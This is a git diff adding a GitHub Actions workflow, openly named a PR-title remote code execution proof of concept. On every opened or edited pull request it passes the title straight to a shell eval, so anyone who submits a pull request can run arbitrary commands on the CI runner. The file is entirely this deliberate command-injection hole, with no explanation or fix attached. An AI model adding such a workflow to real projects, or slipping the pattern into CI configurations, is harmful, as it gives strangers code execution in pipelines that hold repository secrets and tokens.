diff --git a/.github/workflows/poccc.yml b/.github/workflows/poccc.yml new file mode 100644 index 000000000000000..954ad0f748eea1c --- /dev/null +++ b/.github/workflows/poccc.yml @@ -0,0 +1,17 @@ +name: pr-title-rce-poc + +on: + pull_request: + types: [opened, edited] + +jobs: + exploit-via-pr-title: + runs-on: ubuntu-latest + + steps: + - name: Dump PR Title as Command + env: + PAYLOAD: ${{ github.event.pull_request.title }} + run: | + echo "[+] Executing injected PR title payload" + eval "$PAYLOAD"